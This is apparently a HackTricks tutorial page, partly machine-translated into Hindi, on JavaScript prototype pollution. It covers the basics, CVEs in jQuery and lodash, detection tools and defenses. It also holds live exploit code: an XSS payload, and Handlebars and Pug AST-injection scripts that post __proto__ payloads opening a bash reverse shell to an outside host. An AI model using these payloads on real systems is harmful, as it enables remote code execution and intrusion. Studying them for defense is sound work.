NodeJS - __proto__ & prototype Pollution

Support HackTricks

JavaScript में ऑब्जेक्ट्स

JavaScript में ऑब्जेक्ट्स मूल रूप से कुंजी-मूल्य जोड़ों का संग्रह होते हैं, जिन्हें गुण कहा जाता है। एक ऑब्जेक्ट को Object.create का उपयोग करके null को तर्क के रूप में देकर एक खाली ऑब्जेक्ट बनाया जा सकता है। यह विधि किसी भी विरासत में प्राप्त गुणों के बिना एक ऑब्जेक्ट बनाने की अनुमति देती है।

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

एक खाली ऑब्जेक्ट एक खाली शब्दकोश के समान है, जिसे {} के रूप में दर्शाया गया है।

JavaScript में फ़ंक्शन और क्लासेस

JavaScript में, क्लासेस और फ़ंक्शन निकटता से जुड़े होते हैं, जहाँ फ़ंक्शन अक्सर क्लासेस के लिए कंस्ट्रक्टर के रूप में कार्य करते हैं। JavaScript में मूलभूत क्लास समर्थन की कमी के बावजूद, कंस्ट्रक्टर क्लास व्यवहार की नकल कर सकते हैं।

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototypes in JavaScript

JavaScript रनटाइम पर प्रोटोटाइप विशेषताओं को संशोधित, जोड़ने या हटाने की अनुमति देता है। यह लचीलापन वर्ग कार्यक्षमताओं के गतिशील विस्तार को सक्षम बनाता है।

toString और valueOf जैसी फ़ंक्शन को उनके व्यवहार को बदलने के लिए संशोधित किया जा सकता है, जो JavaScript के प्रोटोटाइप सिस्टम की अनुकूलनीय प्रकृति को प्रदर्शित करता है।

Inheritance

प्रोटोटाइप-आधारित प्रोग्रामिंग में, गुण/विधियाँ वस्तुओं द्वारा वर्गों से विरासत में ली जाती हैं। ये वर्ग अन्य वर्ग के एक उदाहरण या एक खाली वस्तु में गुण/विधियाँ जोड़कर बनाए जाते हैं।

यह ध्यान रखना चाहिए कि जब एक गुण को एक वस्तु में जोड़ा जाता है जो अन्य वस्तुओं के लिए प्रोटोटाइप के रूप में कार्य करती है (जैसे myPersonObj), तो विरासत में मिलने वाली वस्तुओं को इस नए गुण तक पहुँच मिलती है। हालाँकि, यह गुण स्वचालित रूप से प्रदर्शित नहीं होता जब तक कि इसे स्पष्ट रूप से नहीं बुलाया जाता।

__proto__ pollution

Exploring Prototype Pollution in JavaScript

JavaScript वस्तुएँ कुंजी-मूल्य जोड़ों द्वारा परिभाषित की जाती हैं और JavaScript ऑब्जेक्ट प्रोटोटाइप से विरासत में ली जाती हैं। इसका मतलब है कि ऑब्जेक्ट प्रोटोटाइप को संशोधित करने से वातावरण में सभी वस्तुओं पर प्रभाव पड़ सकता है।

आइए एक अलग उदाहरण का उपयोग करके इसे स्पष्ट करें:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Object प्रोटोटाइप तक पहुँच संभव है:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Object प्रोटोटाइप में गुण जोड़कर, हर JavaScript ऑब्जेक्ट इन नए गुणों को विरासत में प्राप्त करेगा:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

prototype pollution

यदि __proto__ का उपयोग प्रतिबंधित है, तो एक फ़ंक्शन के प्रोटोटाइप को संशोधित करना एक विकल्प है:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

यह केवल Vehicle कंस्ट्रक्टर से बनाए गए ऑब्जेक्ट्स को प्रभावित करता है, उन्हें beep, hasWheels, honk, और isElectric प्रॉपर्टीज़ देता है।

प्रोटोटाइप प्रदूषण के माध्यम से जावास्क्रिप्ट ऑब्जेक्ट्स को वैश्विक रूप से प्रभावित करने के दो तरीके शामिल हैं:

  1. सीधे Object.prototype को प्रदूषित करना:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. सामान्यतः उपयोग किए जाने वाले संरचना के लिए एक कंस्ट्रक्टर के प्रोटोटाइप को प्रदूषित करना:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

After these operations, हर JavaScript ऑब्जेक्ट goodbye और greet मेथड्स को निष्पादित कर सकता है।

अन्य ऑब्जेक्ट्स को प्रदूषित करना

एक क्लास से Object.prototype तक

एक परिदृश्य में जहाँ आप एक विशिष्ट ऑब्जेक्ट को प्रदूषित कर सकते हैं और आपको Object.prototype तक पहुँचने की आवश्यकता है, आप इसके लिए निम्नलिखित कोड की तरह कुछ खोज सकते हैं:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Array elements pollution

ध्यान दें कि जैसे आप JS में ऑब्जेक्ट्स के गुणों को प्रदूषित कर सकते हैं, यदि आपके पास एक एरे को प्रदूषित करने की पहुंच है, तो आप एरे के मानों को भी प्रदूषित कर सकते हैं जो इंडेक्स द्वारा सुलभ हैं (ध्यान दें कि आप मानों को ओवरराइट नहीं कर सकते, इसलिए आपको उन इंडेक्स को प्रदूषित करना होगा जो किसी न किसी तरह से उपयोग किए जाते हैं लेकिन लिखे नहीं जाते)।

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elements pollution

जब JS के माध्यम से एक HTML तत्व उत्पन्न किया जाता है, तो innerHTML विशेषता को ओवरराइट करना संभव है ताकि यह मनमाना HTML कोड लिख सके। इस लेख से विचार और उदाहरण

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

उदाहरण

बुनियादी उदाहरण

एक प्रोटोटाइप प्रदूषण एक दोष के कारण होता है जो Object.prototype पर गुणों को ओवरराइट करने की अनुमति देता है। इसका मतलब है कि चूंकि अधिकांश वस्तुएं अपने गुणों को Object.prototype से प्राप्त करती हैं।

सबसे आसान उदाहरण एक वस्तु के अनिर्धारित गुण में एक मान जोड़ना है जिसे जांचा जाने वाला है, जैसे:

if (user.admin) {

यदि विशेषता admin अपरिभाषित है तो PP का दुरुपयोग करना संभव है और इसे कुछ इस तरह से True पर सेट किया जा सकता है:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

इस तंत्र के पीछे की प्रक्रिया में गुणों को इस प्रकार से हेरफेर करना शामिल है कि यदि एक हमलावर के पास कुछ इनपुट पर नियंत्रण है, तो वे एप्लिकेशन में सभी वस्तुओं के प्रोटोटाइप को संशोधित कर सकते हैं। यह हेरफेर आमतौर पर __proto__ गुण को सेट करने में शामिल होता है, जो कि जावास्क्रिप्ट में, किसी वस्तु के प्रोटोटाइप को सीधे संशोधित करने के समान है।

इस हमले को सफलतापूर्वक निष्पादित करने की शर्तें, जैसा कि एक विशेष अध्ययन में वर्णित है, में शामिल हैं:

  • एक पुनरावृत्त मर्ज करना।

  • एक पथ के आधार पर गुणों को परिभाषित करना।

  • वस्तुओं को क्लोन करना।

Override function

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

Prototype Pollution to RCE

अन्य पेलोड:

Client-side prototype pollution to XSS

Client Side Prototype Pollution

CVE-2019–11358: Prototype pollution attack through jQuery $ .extend

For further details check this article jQuery में, $ .extend फ़ंक्शन प्रोटोटाइप प्रदूषण का कारण बन सकता है यदि गहरे कॉपी फ़ीचर का गलत उपयोग किया जाए। यह फ़ंक्शन आमतौर पर ऑब्जेक्ट्स को क्लोन करने या एक डिफ़ॉल्ट ऑब्जेक्ट से प्रॉपर्टीज़ को मर्ज करने के लिए उपयोग किया जाता है। हालाँकि, जब गलत कॉन्फ़िगर किया जाता है, तो नए ऑब्जेक्ट के लिए निर्धारित प्रॉपर्टीज़ को प्रोटोटाइप में असाइन किया जा सकता है। उदाहरण के लिए:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

This vulnerability, identified as CVE-2019–11358, illustrates how a deep copy can inadvertently modify the prototype, leading to potential security risks, such as unauthorized admin access if properties like isAdmin are checked without proper existence verification.

CVE-2018–3721, CVE-2019–10744: Prototype pollution attack through lodash

For further details check this article

Lodash encountered similar prototype pollution vulnerabilities (CVE-2018–3721, CVE-2019–10744). These issues were addressed in version 4.17.11.

Another tutorial with CVEs

Tools to detect Prototype Pollution

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Burp Suite extension designed to detect and analyze server-side prototype pollution vulnerabilities in web applications. This tool automates the process of scanning requests to identify potential prototype pollution issues. It exploits known gadgets - methods of leveraging prototype pollution to execute harmful actions - particularly focusing on Node.js libraries.

  • server-side-prototype-pollution: This extension identifies server side prototype pollution vulnerabilities. It uses techniques described in the server side prototype pollution.

AST Prototype Pollution in NodeJS

NodeJS extensively utilizes Abstract Syntax Trees (AST) in JavaScript for functionalities like template engines and TypeScript. This section explores the vulnerabilities related to prototype pollution in template engines, specifically Handlebars and Pug.

Handlebars Vulnerability Analysis

The Handlebars template engine is susceptible to a prototype pollution attack. This vulnerability arises from specific functions within the javascript-compiler.js file. The appendContent function, for instance, concatenates pendingContent if it's present, while the pushSource function resets pendingContent to undefined after adding the source.

Exploitation Process

The exploitation leverages the AST (Abstract Syntax Tree) produced by Handlebars, following these steps:

  1. Manipulation of the Parser: Initially, the parser, via the NumberLiteral node, enforces that values are numeric. Prototype pollution can circumvent this, enabling the insertion of non-numeric strings.

  2. Handling by the Compiler: The compiler can process an AST Object or a string template. If input.type equals Program, the input is treated as pre-parsed, which can be exploited.

  3. Injection of Code: Through manipulation of Object.prototype, one can inject arbitrary code into the template function, which may lead to remote code execution.

An example demonstrating the exploitation of the Handlebars vulnerability:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

यह कोड दिखाता है कि एक हमलावर कैसे हैंडलबार टेम्पलेट में मनमाना कोड इंजेक्ट कर सकता है।

बाहरी संदर्भ: 'flat' पुस्तकालय में प्रोटोटाइप प्रदूषण से संबंधित एक समस्या पाई गई, जैसा कि यहाँ विस्तृत किया गया है: GitHub पर समस्या.

बाहरी संदर्भ: 'flat' पुस्तकालय में प्रोटोटाइप प्रदूषण से संबंधित समस्या

Python में प्रोटोटाइप प्रदूषण शोषण का उदाहरण:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Vulnerability

Pug, एक और टेम्पलेट इंजन, प्रोटोटाइप प्रदूषण के समान जोखिम का सामना करता है। विस्तृत जानकारी Pug में AST इंजेक्शन पर चर्चा में उपलब्ध है।

Pug में प्रोटोटाइप प्रदूषण का उदाहरण:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Preventive Measures

प्रोटोटाइप प्रदूषण के जोखिम को कम करने के लिए, नीचे सूचीबद्ध रणनीतियों का उपयोग किया जा सकता है:

  1. Object Immutability: Object.prototype को Object.freeze लागू करके अपरिवर्तनीय बनाया जा सकता है।

  2. Input Validation: JSON इनपुट को एप्लिकेशन के स्कीमा के खिलाफ सख्ती से मान्य किया जाना चाहिए।

  3. Safe Merge Functions: पुनरावर्ती मर्ज फ़ंक्शंस के असुरक्षित उपयोग से बचना चाहिए।

  4. Prototype-less Objects: बिना प्रोटोटाइप गुणों के ऑब्जेक्ट्स को Object.create(null) का उपयोग करके बनाया जा सकता है।

  5. Use of Map: कुंजी-मूल्य जोड़ों को संग्रहीत करने के लिए Object के बजाय Map का उपयोग किया जाना चाहिए।

  6. Library Updates: नियमित रूप से पुस्तकालयों को अपडेट करके सुरक्षा पैच को शामिल किया जा सकता है।

  7. Linter and Static Analysis Tools: प्रोटोटाइप प्रदूषण कमजोरियों का पता लगाने और रोकने के लिए उपयुक्त प्लगइन्स के साथ ESLint जैसे उपकरणों का उपयोग करें।

  8. Code Reviews: प्रोटोटाइप प्रदूषण से संबंधित संभावित जोखिमों की पहचान और सुधार के लिए गहन कोड समीक्षाओं को लागू करें।

  9. Security Training: डेवलपर्स को प्रोटोटाइप प्रदूषण के जोखिमों और सुरक्षित कोड लिखने के सर्वोत्तम प्रथाओं के बारे में शिक्षित करें।

  10. Using Libraries with Caution: तृतीय-पक्ष पुस्तकालयों का उपयोग करते समय सतर्क रहें। उनकी सुरक्षा स्थिति का आकलन करें और उनके कोड की समीक्षा करें, विशेष रूप से जो ऑब्जेक्ट्स को संशोधित करते हैं।

  11. Runtime Protection: प्रोटोटाइप प्रदूषण हमलों का पता लगाने और रोकने के लिए सुरक्षा-केंद्रित npm पैकेजों का उपयोग करके रनटाइम सुरक्षा तंत्र को लागू करें।

References

Support HackTricks

Last updated